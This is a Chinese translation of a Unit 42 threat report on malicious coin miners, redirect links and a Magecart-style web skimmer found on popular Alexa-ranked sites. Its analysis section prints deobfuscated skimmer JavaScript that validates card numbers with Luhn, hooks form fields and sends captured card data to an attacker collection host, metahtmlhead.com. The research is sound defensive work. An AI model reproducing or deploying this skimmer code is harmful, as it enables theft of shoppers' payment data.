Alexa的熱門網站感染了惡意的硬幣淘金者和網絡掠物
[[345105]]
Unit 42最近在Alexa上啟動了一項針對全球前一萬網站的威脅搜索活動,Alexa排名基于訪問者的互動和訪問次數來衡量網站的受歡迎程度。如表1所示,研究人員發現了四個受影響的網站。在隨后的分析中,研究人員會更詳細地描述這些惡意活動,其中就包括了CoinMiner挖礦病毒,它們劫持了CPU資源來挖礦加密貨幣。早在2017年CoinMiner就被發現,它是一款無文件的惡意軟件,它會利用WMI(Windows Management Instrumentation)在感染的系統上運行命令,專家稱,這款軟件很難檢測,并且會使用永恒之藍進行傳播。除了CoinMiner挖礦病毒外,還有惡意外部鏈接,將用戶定向到惡意網站;還有一種就是Web skimmer攻擊,該攻擊旨在從付款表單中竊取銀行卡信息。Web skimmer也被稱之為Magecart攻擊,早在2018年它就被評為了最危險的安全威脅。這種攻擊主要針對的是支付數據,因為Web Skimming能夠將任意信息填充進目標網站中,所以攻擊者目前可能不在局限于銀行信用卡數據,而是將攻擊范圍擴展到網站登入信息以及其他敏感數據信息上。

受網絡安全影響的Alexa網站
CoinMiner挖礦病毒
coinhive專門提供一個用來挖礦的JS引擎,在被攻擊網站上的網頁內嵌一段JS代碼,只要有人訪問被攻擊網站,挖礦程序就會在網民的電腦上工作,占用大量的系統資源,導致CPU利用率突然提升,甚至100%!不但被攻擊網站是受害者,普通網民也是受害者。最初Coinhive是一個瀏覽器挖礦服務,負責為門羅幣區塊鏈提供了一個JavaScript挖礦。該網站于2019年3月被關閉,其中很大一部分原因是它被網絡攻擊者濫用。不過目前仍有兩個網站提供Coinhive的挖礦程序腳本。一個是coinhive.min.js,另一個是JSEcoin。下面的圖1顯示了在一個受攻擊的網站zoombangla[.]com上啟動coinminer所發出的命令。

使用定義的參數啟動Coinhive挖礦的命令
該挖礦程序可以控制其如何利用用戶的CPU以及用于挖礦的線程數量。CoinMiner還可以控制目標使用的CPU數量。表2列出了可用的參數選項。奇怪的是,上述代碼將挖礦程序配置為快速耗盡受感染設備的電池,也許是因為攻擊者覺得有必要最大限度地利用任何成功被入侵的受害者。大多數攻擊者確保受損設備的電源使用率保持在較低水平,以避免被檢測到并繼續非法賺錢。但是,在本文所列舉的樣本中,攻擊者似乎急于進行挖礦并沒有正確配置來躲開檢測。

參數節流和CPU使用率映射
下面顯示了啟動Coinhive挖礦腳本的命令的另一個樣本,該樣本來自另一個發現的網站——pojoksatu [.] id。

使用默認參數啟動Coinhive挖礦腳本的命令
一旦用戶訪問了以上兩個網站中的任何一個,Coinhive挖礦腳本就將自動運行并開始為攻擊者進行挖礦。此時用戶的CPU載荷將增加,如圖3所示。

CPU載荷活動
總的來說,研究人員在pojoksatu [.] id和zoombangla [.] com中發現了60多個注入了Coinhive挖礦腳本的URL頁面。詳細信息請見以下附錄。
惡意的外部鏈接
外部鏈接安全性變得越來越重要。隨著電子郵件服務在發現垃圾郵件和其他類型的惡意消息方面的改進,攻擊者正在使用帶有外部鏈接的開放重定向,已發起更多攻擊。如果攻擊者在合法網站上的帖子中發布惡意URL,可能很少有訪問者會覺得可疑。如果用戶單擊該鏈接甚至將鼠標懸停在該鏈接上以進行檢查,他們將在鏈接中看到有效的網站,如果這樣認為那就錯了,用戶最終將進入攻擊者想要將其重定向到的惡意網站。然后,用戶就會被某種惡意軟件感染,例如CoinMiner挖礦病毒,或者個人信息被盜。
圖4是一個合法的二手車網站libero [.],用戶可以在其中搜索和比較他們喜歡車輛。此時攻擊者可能會在汽車廣告中插入了惡意鏈接,這些鏈接將把對汽車感興趣的訪問者重定向到一個惡意網站,此時該網站就會向他們注入了JSEcoinCoinMiner腳本,如下圖所示。請注意,JSEcoin平臺已于2020年4月4日被關閉。雖然腳本仍在運行,但攻擊者已無法再從中進行CoinMiner攻擊了。

libero [.] it中的外部鏈接,它將訪問者重定向到受感染的網站
源頁面如下所示:

包含惡意鏈接頁面的源代碼
如上圖所示,所有突出顯示的外部鏈接都指向libero [.] it。如果用戶想了解更多關于汽車的信息,則需要點擊這個鏈接,然后就會被重定向到惡意網站。

重定向鏈
該網站是注入CoinMiner挖礦病毒的地方。

啟動JSEcoin挖礦程序的命令
Web skimmer
今年5月,美國聯邦調查局就發現黑客正在利用Magento插件中一個存在了三年的漏洞,接管在線商店,植入一個惡意腳本,記錄并竊取買家的付款卡數據。這種類型的攻擊被稱為web skimming, e-skimming,或Magecart, FBI在去年10月就曾警告過此類攻擊的增加。FBI在今年5月初發給美國私營部門的一份flash安全警報中表示,在最近的攻擊中,攻擊者利用MAGMI (Magento Mass Import)插件中的CVE-2017-7391漏洞進行攻擊。該漏洞是一個跨站點腳本(XSS)漏洞,它允許攻擊者將惡意代碼植入在線商店的HTML代碼中。
研究人員在Alexa上排名最高的網站中發現的樣本源于另一個外部鏈接安全漏洞。 heureka [.] cz本身是一個在線購物網站。如果用戶在網站上搜索Anti-COVID產品(網站上排名靠前的搜索關鍵字),則會顯示相關產品列表。

產品樣本
該產品之后列出了一家商店,用戶可以選擇從這家商店購買。

heureka [.] cz中受感染網站的鏈接
源頁面如下所示:

包含惡意鏈接的頁面的源代碼,突出顯示
單擊訪問此商店后,用戶將被重定向到惡意網站。

重定向鏈
而且不幸的是,整個網站到處都是經過混淆的惡意skimmer腳本,如下圖所示。

混淆的skimmer代碼
上面的代碼是模糊的,因此很難預測它們導致的行為。研究人員必須先對代碼進行模糊處理。然后,研究人員發現了以下功能,它們可以偷偷監視用戶對其支付卡信息的輸入,并將其發送到遠程攻擊服務器。
- function G1ED7H(XYRUDR) {
-
- var ZU554M = 0;
- XYRUDR = XYRUDR["split"]("");
-
- if (XYRUDR["length"] < 13 || XYRUDR["length"] > 19) return false;
-
- for (var E9VLQF = XYRUDR["length"] - 1; E9VLQF >= 0; E9VLQF
- if (!XYRUDR[E9VLQF]["match"](/[0-9]/)) return false;
- if (!(E9VLQF % 2)) {
- ZU554M += (XYRUDR[E9VLQF] * 2 > 9) ? XYRUDR[E9VLQF] * 2 - 9 : XYRUDR[E9VLQF] * 2
- } else {
- ZU554M += XYRUDR[E9VLQF] * 1
- }
- }
-
- return !(ZU554M % 10)
-
- }
該函數用于通過Luhn算法驗證信用卡號,該算法廣泛用于驗證各種標識號,例如信用卡號。
Luhn算法(Luhn algorithm),也稱為“模10”(Mod 10)算法,是一種簡單的校驗和算法,一般用于驗證身份識別碼,例如發卡行識別碼、國際移動設備辨識碼(IMEI),美國國家提供商標識號碼,或是加拿大社會保險號碼。
- function XYRUDR() {
-
- var P23WTA = document['all'] || document['getElementsByTagName'](*);
- for (E9VLQF = 0; E9VLQF < P23WTA['length']; E9VLQF++) { if (".input.select.form.button.a.img."["indexOf"]("." + P23WTA[E9VLQF]["tagName"]["toLowerCase"]() + ".") >= 0 && !P23WTA[E9VLQF]["r"+Math["random"]()]) {
- P23WTA[E9VLQF]["r"+Math["random"]()] = 1;
- XCT5WY(P23WTA[E9VLQF], "mousedown");
- }
-
- setTimeout(XYRUDR, 99)
-
- }
當skimmer開始攻擊時,它將每99秒運行一次,以調用XYRUDR函數,XYRUDR會找到[input, select, form, button, a, img]中的所有標簽。
- function XCT5WY(P23WTA, "mousedown") {
-
- P23WTA["addEventListener"] ? P23WTA["addEventListener"](""mousedown", GB14BD, false) : P23WTA["attachEvent"]("onmousedown", GB14BD)
-
- }
它將為上述標簽設置“mousedown”事件監聽器。
- function GB14BD() {
- var P23WTA = document["all"] || document["getElementsByTagName"]("*");
- E9VLQF, N798NL = "", E;
- ITCHLA = "";
- for (E9VLQF = 0; E9VLQF < P23WTA["length"]; E9VLQF++) { if (".input.select."["indexOf"]("." + P23WTA[E9VLQF]["tagName"]["toLowerCase"]() + ".") >= 0 && P23WTA[E9VLQF]["value"]) {
- if (G1ED7H(P23WTA[E9VLQF]["value"]["split"](" ")["join"](""))) {
- ITCHLA = P23WTA[E9VLQF]["value"]["split"](" ")["join"]("");
- }
- N798NL += & + (P23WTA[E9VLQF]["name"] || P23WTA[E9VLQF]["id"] || "i_" + E9VLQF) + "=" + CVZLRD(P23WTA[E9VLQF])
- }
- }
- if (ECUOWQ != N798NL && ITCHLA) {
- ECUOWQ = N798NL;
- MAU1KL()
- }
- }
事件觸發后,它將調用此函數以獲取標簽的值。
- function MAU1KL() {
-
- var ZU554M = "https://";
- Y3V4T2 = String;
- ZU554M += "metahtmlhead.com" + "/" + "folder" + "/" + "ip" + "/" + "zxc" + "." + "php";
- var P23WTA = document["createElement"]("script");
- N798NL = document["getElementsByTagName"]("html")[0];
- P23WTA = N798NL["insertBefore"](P23WTA, null);
- P23WTA["src"] = ZU554M + "?r=" + MLEMCG + ECUOWQ + "&" + "c" + "c" + "=" + ITCHLA
-
- }
此函數用于將信用卡信息發送到收集服務器
概括地說,skimmer的工作流程是:
1.為[input, select, form, button, a, img]添加事件監聽器;
2.當數字字符串通過信用卡驗證檢查時,它會將信息發送出去;
3.構造收集服務器URL和參數,然后將信息發送出去;
成功的攻擊會將所有用戶信息發送到遠程攻擊者服務器,包括信用卡號,地址等。
收集服務器:metahtmlhead [.] com

信用卡信息被發送到收款服務器
URL過濾分析

上圖顯示了研究人員觀察到的受影響網站訪問的總體地理分布,可以看出大多數受害者顯然來自西歐,但來自美國東部和美國西部的受害者卻緊隨其后,另外上圖也顯示了全球范圍內的攻擊已經非常普遍。
結論
本文的研究顯示即使在訪問流行的、信譽良好的網站時,用戶也要謹慎行事。這些網站很可能為挖礦的攻擊者帶來最大的收入。當用戶點擊非官方網站的鏈接時,應注意最終網站的完整URL,以確保其不是惡意網站。避免CoinMiner挖礦病毒的一種簡單方法是,在瀏覽器和系統上安裝完整的終端安全補丁。
本文翻譯自:https://unit42.paloaltonetworks.com/malicious-coinminers-web-skimmer/如若轉載,請注明原文地址: